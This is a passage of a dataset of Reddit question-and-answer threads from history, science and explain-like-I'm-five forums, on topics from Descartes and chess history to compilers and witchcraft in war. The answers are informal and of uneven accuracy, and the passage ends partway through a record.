{"q_id": "103o14", "title": "What do you know about Rene Descartes?", "selftext": "I am finding that Rene Descartes is a very interesting fellow with his philosophy and his contribution to the world of mathematics.  Do any of you know interesting facts about him or knowledge that you wouldn't typically learn in school?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/103o14/what_do_you_know_about_rene_descartes/", "answers": {"a_id": ["c6a505g", "c6a54wx", "c6a5tfs", "c6ab74j", "c6advdj", "c6aegsk"], "score": [5, 2, 2, 2, 2, 3], "text": ["Supposedly he died from getting up too early in the morning. He liked to get up around noon and the noble he was teaching forced him to get up early. He got sick and then died. One of my philosophy professors told us this as a reason philosophy should be done later in the day. ", "The [evil demon](_URL_0_) theory", "\"I think, therefore I am\" \u2014\u00a0his logic to prove that you exist.", "I know he was one of the prominent french thinker, and to this day french mindset is still characterized as \"cart\u00e9sien\" (don't how it is written in english). My philosophy teacher in highschool used to criticized Descartes by saying that his reason doctrine was akin to say \"*If I think I can swim, then I can swim eventhough I never touch water in my life*\".", "He came along to the [battle of White Mountain](_URL_0_) as an observer.\n\nIt's the battle where Czech were soundly defeated and once and for all (until 1918) under Austria.\n\nIt's weird how his name just keeps popping up here and there.", "Descartes impact on the development of mathematics was massive! \n\n* His most important contribution probably was the development of analyticial geometry. (We also credit Vieta with that and there were some precedessors, of course -- I just include this for the sake of completeness). Analytical geometry basically means, that you express geometrical problems in terms of algebraic terms. An example: Instead of saying \" In every right triangle the area of the square over the hypotenuse is equal to the sum of the areas of the two sqares over the legs of the right angle\" you can simply write a\u00b2+b\u00b2=c\u00b2, with a being the hypotenuse and b,c being the legs respectively. \n\n* Another important contribution has to do with the cassification of mathematical problems. According to Pappos, the ancient greeks divided all geometrical problems into three classes:\n(a) plane problems: Those can be solved with ruler and straight edge, \n(b) solid problems: Those can be solved with conic sections\n(c) line-like (linear) problems: Basically the rest. One has to use transcendental curves, like the quadratrix.\n\nDue to his analytical geometry, Descartes was able to classify problems according to the degree of the equation. His classification, as well as the introduction of two new instruments, led to huge advances in dealing with the three classical problems of mathematics (trisecting the angle, squaring the circle, doubling the cube), mathematical problem solving in general (what to we accept as a mathematical solution?) and transcendental curves (like the Brachistochrone curve, the curve of fastest descent)\n\n* He did NOT introduce the Cartesian coordinate system, but was able to calculate the gradient of certain tangents, had a theorem to calculate the maximal number of roots of a given polynomial, gave an interpretation of the law of refraction.....and he had a fetish for cross eyed women. I have no idea what this has to do with mathematics, but I thought I should mention it anyway, since this is reddit, after all.\n\nIf you want to know more about Descartes' mathematics, check out [Henk Bos' book](_URL_0_.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Evil_demon"], [], [], ["http://en.wikipedia.org/wiki/Battle_of_White_Mountain"], ["http://books.google.de/books?id=p_MdWlwKBOAC&amp;printsec=frontcover&amp;dq=Redefining+Geometrical+Exactness:+Descartes%27+Transformation+of+the+Early&amp;source=bl&amp;ots=RumXTPfeIx&amp;sig=T2CtDO-BF1_BhBHn_8GoRjdh9mo&amp;hl=de&amp;sa=X&amp;ei=TcdZUIr3DYb2sgbU9IHwAQ&amp;ved=0CDQQ6AEwAA#v=onepage&amp;q&amp;f=false"]]}
{"q_id": "1csp1o", "title": "I have a closed room with a source of light inside. Then I open a door. Assuming that the other side is darker, will the amount of light inside decrease? (because of the photons that were bouncing in the room \"escaping\"). That is, does light flow to darker areas like gasses do, to some extent?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1csp1o/i_have_a_closed_room_with_a_source_of_light/", "answers": {"a_id": ["c9jm3kn", "c9jmrig", "c9jn8b8", "c9jnktf", "c9jqv6d"], "score": [17, 70, 14, 3, 3], "text": ["The process you describe in gasses is diffusion. This happens because there are constantly collisions between gas molecules. Any given molecule will roughly \"random walk\" its way away from its starting point, causing diffusion.\n\nNow photons don't do this in the normal atmosphere. There simply isn't enough gas; photons don't interact with molecules as readily as other molecules do. Although there *is some* scattering, and this is why the sky is blue and the sun is yellow (some colors scatter more readily than others).\n\nNow in a very dense atmosphere (say, in the Sun), there will be more photon scattering and there *is* a diffusion process. After thousands of years, a photon from the center of the sun will eventually scatter its way out, travelling almost unimpeded outward, perhaps to Earth. \n\nThis can also happen in solids. A material in which light *diffuses* through is seen as transluscent. \n\ntldr: Light does diffuse like gasses, and this is known as transluscence. But out atmosphere is not dense enough to noticeably have this effect.", "In this situation (and most) it would be better to think of the light radiating directly out from the source rather than flowing around, since it will not be interacting with the air very much as it travels. So with the door closed, light is hitting the walls and the door and bouncing back into the room and eventually being absorbed by some surface. When you open the door, the light that would have been reflected by the door back into the room escapes outside instead, so the room will be slightly darker. ", "Before you open the door, the light bounces around the room--including off the side of the closed door. Once you open the door, some of the light that would have bounced (reflected) off the door and back in the room is now \"escaping\" and, yes, lighting up the other room. \n\nI'm not sure the gas diffusion analogy is the best way to think of it. It doesn't matter, for example, how bright the other room is. The light from the first room will go in there anyway. So there's no equilibrium in that regard. Then again, some light from room 2 will also enter room 1 when you open the door (assuming these are normal rooms), so it might seem to be \"trying to balance out\" even though it's not that complex. \n\nSource: I'm a studio photographer and I have doors. \n\n", "What if I have a glass/mirror ball with the mirror side inside and the glass outside and a light source inside? Will the light get hyper light?", "You can actually do this test yourself -- in a dark room, put one of those small LED flashlights (or your iphone) and a light meter under a shoebox with a hole poked in it. Look through the hole and write down what the light meter says. Now remove the shoebox and record what the light meter says. It will show less illumination.\n\nIn this case, your \"door\" is very big -- it's the size of the entire \"closed room\" from your example, but it demonstrates the point.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "s5brl", "title": "How long does it take for asphyxia related death to take place?", "selftext": "In movies and TV shows, anytime a character is choked, s/he always passes out in under a minute and is presumed dead. I understand that temporary loss of consciousness can occur as a result of suboptimal brain oxygenation, as is the case in some fainting spells (or that fading feeling one has when standing up too quickly), but physiologically, how much time (I understand it would probably be a range based on metabolic conditions) would elapse before one dies?\n\nFurthermore, is the cause of death unrecoverable brain damage from CNS hypoxia, myocardial infarction, something else that I can not think of, or some combination thereof? In the event of multiple system failure, what is the order in which each system would occur? \n\nOR does it really take only a brief moment of time, due to, for example,  either panic inducing an increasing metabolic need (from arm flailing and/or other SNS based response -- endocrine or otherwise) depleting the residual oxygen in the lungs, or other factors?\n\nEdit: Actually, as I think about it more, I am probably oversimplifying the whole matter in my head. Therefore, any and all input would be appreciated!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/s5brl/how_long_does_it_take_for_asphyxia_related_death/", "answers": {"a_id": ["c4b7zj1", "c4b9xod"], "score": [2, 2], "text": ["Can't really address the specific causes of death, but I will say that the vast majority of tv and movie portrayals of asphyxiation are unrealistic. You would need to continue choking someone for a significant period of time AFTER they lose consciousness in order to kill them. Doesn't make for good television though.", "Physician here.\n\n*how much time would elapse before one dies?*\n\nShort answer: the brain will die in 5-10 minutes.\n\nLong answer:  If the person has had training or preparation, they can hold their breath for [up to 20 minutes](_URL_0_).  Also, if they are immediately cooled... like a drowning in a frozen lake, then they could recover almost completely after 20-30 minutes of no oxygen.\n\n*is the cause of death...CNS hypoxia...?*\n\nShort answer: Yes.  In lack of oxygen, ALL deaths will be due to brain death.\n\nLong answer: All death is essentially due to lung failure, heart failure or brain failure.  Everything else is a circumstance.  You either can't oxygenate your blood, can't pump your blood (deliver the oxygen), or your brain is not functioning.\n\n*order of system failure*\n\nYour brain will go first.  The heart will suffer irreversible damage at 4-6 hours.  The rest of your organs at 6-8 hours.  Organ transplantation is possible because of cooling and treating the organs with certain stabilizing solutions.  Then, they can survive up to 18+ hours.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://news.discovery.com/human/breath-holding-human.html"]]}
{"q_id": "bies01", "title": "Assuming that the Byzantine Empire was the legitimate successor to the Roman Empire and that Andreas Palaiologos legitimately transferred his succession rights to the Byzantine throne to Ferdinand II of Aragon in his will, what happened to those rights? Did Ferdinand pass them on?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bies01/assuming_that_the_byzantine_empire_was_the/", "answers": {"a_id": ["em0ljk0"], "score": [4], "text": ["Well, the problematic thing with Andreas Palaiologos' claim to the throne of the Eastern Roman Empire was that he already sold it once, before to Ferdinand II of Aragon; He sold it first to the King of France Charles VIII in 1494. This has been attested to by \u00c9tienne Laur\u00e9ault de Foncemagne in his letters.\n\nHowever, it is a moot point on whether Charles VIII or Ferdinand of Aragon has the real claim; According to Potter, in 1566, Charles IX disdained and let go of the imperial claim to the throne of the Eastern Roman Empire partly due to the principle of Extinctive Prescription (whereby a claim is rendered expired due to prolonged inability to claim the inheritance named) and partly due to his focus on the wars of religion.\n\nAs for the claim that Ferdinand II purchased, it can also be considered to have expired under grounds of Extinctive Prescription, though since the Spanish constitution that governs the rights and titles of the King and Crown of Spain does not have provisions for E.P., it is more accurate that it should be labeled as a \"dormant claim\", though there is (at the point of this writing) any attempts to use the claim since it was purchased.\n\n\n\nSOURCES:\n- \u00c9tienne Laur\u00e9ault de Foncemagne, *Me\u0301moires de literature, tire\u0301s des registres de l'Acade\u0301mie royale des inscriptions et belles lettres*\n- David Potter, *A History of France, 1460\u20131560: The Emergence of a Nation State*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1393xg", "title": "How far back could I go and play someone at chess?", "selftext": "I understand there will be rule variations and evolution, but roughly where would the first person be where I could reasonably play them?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1393xg/how_far_back_could_i_go_and_play_someone_at_chess/", "answers": {"a_id": ["c720l0w"], "score": [91], "text": ["This is reputed to be the oldest recorded game of chess. Chessbase (of the famous chess database software) also says this is the oldest recorded game. _URL_3_  \n*edit: If you are not a chess player, you might want to watch a youtube clip of the game being played instead:* _URL_4_\n\n[Event \"Valencia\"]  \n[Site \"Valencia\"]  \n[Date \"1475.??.??\"]  \n[EventDate \"1475.??.??\"]  \n[Round \"?\"]  \n[Result \"1-0\"]  \n[White \"Francesco di Castellvi\"]  \n[Black \"Narciso Vinyoles\"]  \n[ECO \"B01\"]  \n[WhiteElo \"?\"]  \n[BlackElo \"?\"]  \n[PlyCount \"41\"]  \n\n1.e4 {This game may be the oldest recorded game of chess.} d5 2. exd5 Qxd5 3. Nc3 Qd8 4. Bc4 Nf6 5. Nf3 Bg4 6. h3 Bxf3 7. Qxf3 e6 8. Qxb7 Nbd7 9. Nb5 Rc8 10. Nxa7 Nb6 11. Nxc8 Nxc8 12. d4 Nd6 13. Bb5+ Nxb5 14. Qxb5+ Nd7 15. d5 exd5 16. Be3 Bd6 17. Rd1 Qf6 18. Rxd5 Qg6 19. Bf4 Bxf4 20. Qxd7+ Kf8 21. Qd8#\n1-0\n\nThey might not have had the rule for castling back then, as neither player does so when they could have (it *could* be that they were mega-patzers, but in particular, white's 16th move seems to indicate the lack of the rule). It's been commonly said that in older 'versions' of chess, queens could move only one square at a time, which drastically changes the mechanics of the game. \n\nThe 2nd oldest game in Chessbase's library is from 1515, and shows both kingside and queenside castling. (Lucena, Luis Ramirez - Quintana. Huesca 1515).\n\nApparently Ruy L\u00f3pez describes the 'en passant' rule in 1561. _URL_1_\n\nIt seems modern promotion rules did not come into vogue until the 19th (!) century. The earliest instance of promotion I can find comes from 1749, Philidor vs. unnamed opponent, shows Phildor's opponent resigning on the 40th move, unable to deal with connected passed pawns on the 6th-7th rank. But in that time, you were only able to promote to a previously captured piece, so no two queens, or three rooks, etc. _URL_0_\n\nIn a nutshell, daemonfool's answer is about right. About 500 years, but some rules/game concepts have changed since then. \n\n*edit2: whatthefat does a [great job](_URL_2_) describing even older rules/versions of chess.*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Promotion_(chess)#History_of_the_rule", "http://en.wikipedia.org/wiki/En_passant", "http://www.reddit.com/r/AskHistorians/comments/1393xg/how_far_back_could_i_go_and_play_someone_at_chess/c71wxp6?context=2", "http://www.chessgames.com/perl/chessgame?gid=1259987", "http://www.youtube.com/watch?v=3ewyaTr7jGA"]]}
{"q_id": "cs2qjc", "title": "when people eat whole honeycomb, are they eating bee larvae also?", "selftext": "-", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cs2qjc/eli5_when_people_eat_whole_honeycomb_are_they/", "answers": {"a_id": ["exc8tbb", "excav8b", "excg88p", "excpczm", "exde24c"], "score": [59, 18, 5, 30, 2], "text": ["Generally, hives separate comb by use: some is for storing pollen, some is for storing nectar, some is for storing honey, and some are for laying eggs and raising brood. It's not 100%, and stuff does get mixed up a bit. It's very possible that you could bite into a larva, but if you know what you're doing, you know what you're looking for and are going to know when there is brood rather than honey.", "This would not happen normally. The beekeepers I have heard from, separate the queen to a part of the hive. She\u2019ll then lay eggs only in that part and most of her time will be dedicated to laying. Since honeybees make an excess amount, most of the rest of the honeycomb can be harvested for the market.", "Ehh, if you do it\u2019s just added protein./s\n\nThe bee keepers here are pretty picky about what gets sent out. Almost all of them have fb and post pictures of the process and how they make sure it\u2019s clean but still unprocessed. It\u2019s really neat to watch.", "Beekeeper here. In the US, the 10 frame Langstroth hive is commonly used, allowing the addition of a Queen excluder which prevents the Queen bee (who is larger than the worker bee) from moving into the upper boxes (called supers) and laying eggs. These supers are generally used by the workers for honey storage. This generally allows harvest of honey without inclusion of bee larvae.\n\nEDIT: Further, honey is often screened through progressively smaller screens to remove large pieces of wax and propolis (bee glue) and other foreign matter like dead hive beetles and bee parts that find their way into the harvest.", "Only diseased bee's will mix comb uses\n\nEven if you take a beehive from the side of a building, you will take the side of the wall off, first removing the pollen/honeycomb which tends to be nearer the entrance (makes sense since returning bee's want to drop off quickly, you don't put the delivery bay on the 12th floor lol) and then further into the hive closer to the origin (where the queen started building the nest) you find the brood comb which contains larve and eventually queen cells to make more queens.\n\nfun fact, if you eat honey you are eating bee legs and bits of wings and any insect that finds it's way into the honey during the extraction process. There's even a standard as to how much contaminants are allowed in the finished product."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "7pbk6f", "title": "How are the assembly languages for different processors turned into higher level programming languages like C?", "selftext": "I understand the highest level programming languages are written in lower level ones, (ie. java is written in C), but what handles converting C to assembly?  Is C rewritten for different processors? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7pbk6f/how_are_the_assembly_languages_for_different/", "answers": {"a_id": ["dsg0ybo", "dsg29wn", "dsg3wrp", "dsg6a5b", "dsg8k7u", "dsgcrlz", "dsgctnr"], "score": [5, 25, 2, 40, 3, 2, 2], "text": [" Processors don't see letters.  They can't read and understand C in the terms you are thinking.  All languages, C included, get converted down to 'machine code' for processors to execute.\n\nA processor uses whatever instruction set it was engineered to use, so yeah- in that sense- C can be converted in different ways for different processors (especially if you start talking about custom specialty processors)\n\n As with anything in programming - it gets distressingly complicated the more you dig into it - but if you want to learn more about machine language in general, the wiki page [machine code](_URL_0_) is a nice starting point. \n\nedit:  sorry just noticed this part! It is true that many languages get their start by being converted to C! This is because there is already an excellent compiler available for C and making a good compiler is really really hard.  As languages get more popular they *may* get their own compiler and break their dependence on C.  C isn't  a requirement for languages to work on computers. \n  Java, specifically, gets converted to another intermediate language called 'byte code' and that byte code is converted to machine code at the time of execution by Java's Just-In-Time-Compiler. (which is that thing you need running on your machine for java apps to work)", "A [compiler](_URL_1_) is what is used and is a complicated subject.  When a new computer processor is created, a cross compiler is made that runs on an existing processor which creates the machine code for the new computer processor. Using [the LLVM project](_URL_0_) it is possible to make dozens of languages work on a new computer processor in one step.  Here is the documentation to create a new [LLVM backend](_URL_2_).\n\n", "You\u2019ve got the direction wrong. C gets turned into assembly language by a compiler. Assembly code is tricky. I had to learn it in college in my microprocessor class. The speed at which you can program solutions with higher languages is much faster than assembly.\n\n\n_URL_0_\n\n\nEach processor has its own compiler to make create assembly code specific to that processor.", "A compiler is typically viewed as having three stages:\n\n* **Front End:** for the initial stage, the compiler takes the input and verifies its syntax, semantics, and (where appropriate) type checking.  The front end takes your source code, makes sure it's valid, and produces an *intermediate representation* of your program.\n* **Middle End:** this stage takes the *intermediate representation* and performs optimizations on it, with the output being the \"optimized\" *intermediate representation*.\n* **Back End:** the final stage takes the *optimized intermediate representation* and generates the machining code (often with CPU-specific optimizations added in).  To do this, it conceptually maps what it sees in the *optimized intermediate representation* against a table of machine code instructions, and then outputs the machine code version.\n\nNote that what most compilers generate is machine code, and _not_ assembly.  Assembly itself is a language; just simply one that has a roughly 1:1 mapping between assembly instructions and machine code, as a way to make it much easier to program than having the programmer type in a pile of numeric opcodes.  It is possible for a compiler to generate assembly code, but few modern compilers do this.\n\nA slight correction to your question:  languages aren't always written in lower level languages.  In fact, many compiler developers aim to produce self-compiling compilers.  This process is known as [bootstrapping](_URL_1_).  Indeed, the [(Oracle) Java compiler is itself written in Java](_URL_0_) (albeit with a small native front-end to make it easier to run from the command line).  There are a number of benefits to bootstrapping in this way, not the least of which is that once bootstrapping has been achieved, you don't need developers who are experts in two languages (the one being compiled, and the language for the compiler itself).  This is generally done by first creating an initial version of the compiler (using perhaps just a subset of the language) in another language (such as C), and then re-writing it in the language of your compiler, and compiling it with the initial compiler.  The Wikipedia article (linked above) has more details on why compiler developers do this, and is worth a read.\n", "The first C compilers were written in assembler. As they got more complete, they started writing the C compiler in C itself. Now what builds the C compiler? The prior version of the C compiler. \n\nThis is called self-hosting. It's a goal of most any programming language to eventually reach that point.", "A lot of people saying that compilers are processor specific, but nowadays processors are usually designed to fulfill the requirements of specific instruction sets (such as x-86 or MIPS) and the C compiler will translate C code into these instructions. Instruction sets contain probably what you'd imagine. There's instructions for most basic math, instructions for branches and jump(think loops/if statents), and ones for loading and storing things in memory. A lot of highly optimized C libraries you may have used(specifically if you do lots of math in C) are likely written in assembly so that they are faster. \n\n", " >  .. the highest level programming languages are written in lower level ones .. what handles converting C to assembly?\n\nThe normal process for converting from a higher-level language to a low-level language is typically handled by a COMPILER (an example would be [GCC](_URL_0_)). This takes all the source code and creates a low-level equivalent through a rather complex process which is then usually put together into a final form specific to the operating environment with another tool called a LINKER. There are a large number of details on how different high level languages go from one to another form, but in general it is a step from high-level to assembly-like (or sometimes exactly to assembly source files) and finally to the processor and operating system specific binary code.\n\n\n >  Is C rewritten for different processors?\n\nC is not re-written, but some of the specifics change a small amount - usually just the default sizes of things and sometimes the start-up process. The language as a whole stays the same but the tools change in some ways.\n\nMany times the compiler is just run through a .. compiler .. to create a new version for a different processor. It is actually not atypical to use a compiler to create *itself*. You can also get tools to create compilers (compiler compilers), but that's a rather long discussion on top of the compiler discussion.\n\nThe COMPILER can be written to take a large number of parameters and configuration files that allow it to modify it's actions and create the binary data needed for individual processors. In generally, the COMPILER is not actually re-written as a whole, but often the various operating systems and processors have some quirks that require little bits of special handling. The developers use the compiler to modify *itself* and create the customized version needed for a specific processor or O/S.\n\nThe specifics of turning the C code\n\n    int i = 0;\n    i = i + 1;\n\ninto the 68000 assembly equivalent\n\n                   data\n    variable_i:    dw  1\n\n                   code\n    moveq.b #0,d0\n    movea.l #variable_i,a0\n    move.w  d0,(a0)\n\nor the 6502 equivalent\n\n                   data\n    variable_i:    ds.b\n\n                   code\n    stz  variable_i\n    inc  variable_i\n\nare complicated, and there can be many steps but in general you can consider it a straightforward translation at some stage. Using a different processor results in something entirely different at the output stage most of the time. If you break the high-level steps down into small enough tasks, then the processor instructions map very easily into lower-level instructions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Machine_code"], ["https://en.wikipedia.org/wiki/LLVM", "https://en.wikipedia.org/wiki/Compiler", "https://llvm.org/docs/WritingAnLLVMBackend.html"], ["https://en.m.wikipedia.org/wiki/Assembly_language"], ["http://openjdk.java.net/groups/compiler/", "https://en.wikipedia.org/wiki/Bootstrapping_\\(compilers\\)"], [], [], ["https://gcc.gnu.org/"]]}
{"q_id": "t05ka", "title": "How did migratory birds survive the last \"flip\" in the Earth's magnetic field? ", "selftext": "I read [here](_URL_0_) that the last reversal was 750k years ago. I am assuming there where migratory birds that used the Earths magnetic field at that time. Do we have any idea what happened with birds migration during this time period? Were there mass bird extinctions and only the migrating birds that could adapt survived? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/t05ka/how_did_migratory_birds_survive_the_last_flip_in/", "answers": {"a_id": ["c4if8ww", "c4ifnm1"], "score": [11, 6], "text": ["The fossil record isn't great for birds, but we have no record of extinctions related to magnetic reversals (at least as far as I'm aware).  750,000 years is a blink in the evolutionary eye, and they've happened many times in the past.\n\nWe can therefore conclude that either magnetic reversals are relatively slow processes and migratory animals can adapt in time with them, or that migratory animals find other ways to cope.", "One thing to note is that migratory behavior in birds is based on a lot of things, not just magnets. This includes behavior, flocking, and learning- they often go back to the same places year after year. The magnetic component might be a relatively minor part of the process on the whole. \n\n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Brunhes%E2%80%93Matuyama_reversal"], "answers_urls": [[], []]}
{"q_id": "5n6r9u", "title": "After the French revolution, everybody immediately started calling each other \"citizen\" (or \"cityoen\", I guess) - at least according to Hollywood. In reality, did anything actually happen with the system of addressing people?", "selftext": "Edit: Ah, crap, misspelled \"citoyen\"...", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5n6r9u/after_the_french_revolution_everybody_immediately/", "answers": {"a_id": ["dca38x9"], "score": [10], "text": ["Yes, it did. Not immediately after 1789, but certainly by 1792 and the end of the monarchy, the 'old-fashioned' politeness associated with 'Monsieur' [which means literally 'my lord', sieur being related to the English 'sire'] was seen as counter-revolutionary by radicals, and 'citizen' had started to replace it as a form of address. Around the time of the Terror, 1793-94, it would have been extremely suspect to address anyone publicly any other way. After the fall of Robespierre, although such distinctions became less dangerous, the Republic kept innovations like this, and the Republican Calendar, into the first years of the 19th century. As time went on they tended to be reserved for more 'official' usage, and everyday folk fell back into older habits. Only as Napoleon consolidated his imperial rule did 'republican' ways disappear.\n\nJ.M. Anderson, *Daily Life During the French Revolution*, 2007, is a handy guide to such points."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "17vi2y", "title": "Was witchcraft ever used on the battlefield?", "selftext": "Assuming that folks used to believe that witchcraft was a very real and very powerful thing were there ever any attempts to use it on the battlefield? \n\nEDIT: Thanks for all the responses so far! To clarify I was thinking of Christian medieval Europe in particular. If it was believed that witchcraft could cause terrible illness or natural disasters were there any leaders who were tempted to set up a medieval Manhattan Project to harness these powers?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/17vi2y/was_witchcraft_ever_used_on_the_battlefield/", "answers": {"a_id": ["c898sfu", "c899h3y", "c899phg", "c89a28k", "c89cb1u", "c89dprz", "c89ea6k", "c89eizt", "c89eseb", "c89fysd"], "score": [55, 14, 106, 55, 38, 13, 5, 3, 8, 14], "text": ["Yeah, the Germanic tribes during the migration period. They believed all kinds of magic, they once fled a winning battle because of a thunderstorm. They would em-bowl their prisoners and the woman would read the future from their entrails and in such a way influence decisions in the battle. \n\nOther than superstitious acts, no because witchcraft is bullshit.     ", "Could you please define witchcraft?  I'm not sure what would meet the requirements.", "Vikings occasionally forged swords with the bones of their ancestors. This resulted in a much purer and durable steel thanks to ~~carbon~~ (not sure of the science here) *the \"[uniformity of the steel](_URL_0_)\" ^or ^something. \n\nFrom their perspective it would have been a kind of magic. \n\nAs outlined in this documentary: [Secrets of the Viking Sword](_URL_1_)\n\n*edit: I have no expertise in this", "Trickey and witchcraft to the ancient Chinese could be one and the same. Superstitions would be taken advantage of in tactics in order to terrify peasant armies with rural sensibilities. To get an idea of how this was done, we turn to the Chinese classic novel Romance of the Three Kingdoms written about the 3rd century: \n\n\nZhang Bao was in command of eighty to ninety thousand troops. They were holed up in the mountains. Jun ordered Xuande to take point, and engage with the bandit rebel force. Zhang Bao sent his second in command, Gao Sheng, to ride out on horseback and pick a fight; Xuande directed Zhang Fei to attack him. Fei raced out on his horse, his long lance raised, and engaged Sheng in combat. After not more than a couple of passes, Sheng was skewered, and fell from his horse. Xuande commanded his troops to charge. \n\nZhang Bao hastily raised his straight sword, and began performing sorcery. All one could see was a large amount of wind and thunder, and then a black haze emerged from out of nowhere. Emerging out of the black haze was a countless number of soldiers on horseback, who killed everyone in their path. Xuande quickly ordered his army to retreat, but the rank and file descended into chaos. \n\nHaving been soundly beaten, he returned to confer with Zhu Jun. Jun said, \"He is using sorcery; tomorrow I will slaughter pigs, rams and dogs for their blood. I will order my troops to hide on the hilltops. They will wait for the bandit rebels to rush in, then pour blood on them from above. This should nullify their magic.\"\n\nXuande followed orders, and allocated 1,000 soldiers each to Lord Guan and Zhang Fei. They were both to hide their troops high up on a ridge, and prepare the contaminant made from the blood of pigs, rams and dogs. The following day, Zhang Bao led his men, waving their banners and beating their war drums, out to pick a fight. Xuande rode out to meet them. Just as the two armies began to cross swords, Zhang Bao performed his sorcery. The wind howled and the thunder roared; dust and debris was kicked up by the wind, and a black haze enveloped the sky. A steady stream of people and horses appeared from nowhere. Xuande wheeled his horse around and took off in a dead run. Zhang Bao ordered his soldiers to give chase. \n\n\nAs soon as they passed by the hilltop, Guan and Zhang's hidden armies ignited their signal flares, and began pouring down the contaminant in unison. After that, all they could see were paper men and straw horses falling to the ground in great numbers. The wind and thunder stopped in an instant, and sand no longer flew all over the place. \n\nZhang Bao saw that his magic spell had been broken and hurried to recall his troops. With Lord Guan on the left, and Zhang Fei on the right, both armies came out of hiding, while Xuande and Zhu Jun brought up the rear. The bandit rebel army suffered a major defeat. Xuande saw the general of the earth banners, and raced his horse in that direction. Zhang Bao fled the scene, avoiding the well-traveled routes. Xuande shot an arrow at him, which pierced his left arm. Zhang Bao escaped with the arrow still in him; he entered the city of Yangcheng, and dug in. Zhu Jun had his army surround Yangcheng, and then launched an attack. He also sent someone to bring back news of Huangfu Song.\n\n_URL_0_", "A more modern example would be the horrible civil wars in West Africa (Liberia, Sierra Leone...) where I suppose what you would call witchcraft was used to gain an \"advantage\" such as magical amulets, fighting naked so that bullets could not hit you, and so on.  See Liberia's General Butt Naked.  (Not a joke.)", "Well this doesn't really have anything to do with medieval Europe but i did some google-fu and came up with an instance of the Zulu's using \"witchcraft\" or folk medicine against the British on Jan 22 1879.  \n\n >  The Zulu might never have vanquished the British at Isandlwana without the help of traditional Zulu medicines. Some scholars have suggested that Zulu pharmacopoeia provided more of a psychological boost than any real physiological effect. But recent scientific studies show that the medicines contained some very potent drugs. For example, warriors were given a cannabis (marijuana)-based snuff to take during battle. Analysis of the snuff has revealed that it contained extremely high levels of THC, a powerful hallucinogen, and yet no detectable levels of the chemicals that cause the sedative effects of marijuana.\nAlso in the Zulu war medicine chest: the bulb of a flower in the Amaryllis family, called Boophane disticha, or the Bushman Poison Bulb. Studies have shown that the bulb -- which was also used by southern Africans to help mummify bodies -- contains buphanidrine, an alkaloid, like codeine and morphine (although it is not related to them) with hallucinogenic and pain-killing properties. According to botanist Ben-Erik van Wyk of Rand Afrikaans University in Johannesburg, South Africa, the dosage of buphanidrine necessary to reduce pain is very close to the toxic dose, \"but in a very experienced traditional healer's hands it should be safe. They usually assess the strength of a bulb by testing it on themselves.\"\nIn addition, warriors sometimes ingested a hallucinogenic mushroom containing a toxin called muscimol. The chemical, present in fly agaric -- a mushroom that can attract and kill flies -- is said to induce a state of expanded perception in those who ingest it. Warriors who consumed those mushrooms, researchers speculate, might have been utterly without fear, believing themselves impervious to British bullets.\nDespite all these possibilities, one thing is certain, the Zulu army inflicted one of the greatest defeats on a western army in African history, and they will forever be remembered for the day the took the field in the battle of Isandlwana\n\nhere's the [link](_URL_0_) but i quoted the relevant text.", "Romans and others used seers to predict/influence all kinds of things related to war.\n\nA more modern example is [this](_URL_0_).", "Well, there's the use of [ghost shirts](_URL_0_) by the Lakota in the USA.", "Responding specifically to your edit, witchcraft in medieval Europe was not particularly useful for large scale warfare:  it was *by definition* evil, it could only be turned to the Devil's ends, and if you believed God was with you, obviously the Devil would want you to lose.  (Users of 'white' magic were 'cunning men' or 'toad doctors' or adepts of the High Magic or practicioners of a miscellany of other traditions, *not* witches.)  Spiritually, witchcraft placed one in an alliance with the Devil and his legions, which could only end badly; practically, accusations of witchcraft would get the Pope and the Church (or your country's Protestant church or churches) angry at you, and most rulers relied on the sanction of the Church to legitimize their rule, so also not a good idea.  \n\nRemember, too, that the witch-hunts of Europe were much like the Satanic ritual abuse panics of the '80s, though of course much greater in scope.  There is no evidence of any organized 'witch cult', Pagan holdover, or, basically, any actual self-proclaimed witches at all, outside (possibly) a handful of old, impoverished, mentally ill, and otherwise marginalized old women who embraced the slander cast on them by the community.  (Confessions under torture or the threat of torture do *not* count.)  It would be hard to organize a group of witches to oppose your enemies when there were *no actual witches* to organize...", "It's been used even nowadays.\n\nMany western armies have priests blessing soldiers, wars and weapons.\n\nAnd people like the mai-mai in Congo use potions that are supposed to make them immunes to bullets. One hundred years ago the same happenned in Tanzania or Kenya, with the maji-maji (maji means water)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.youtube.com/watch?v=nXbLyVpWsVM&amp;t=12m8s", "http://www.youtube.com/watch?v=nXbLyVpWsVM"], ["http://en.wikisource.org/wiki/Romance_of_the_Three_Kingdoms/Chapter_2#2"], [], 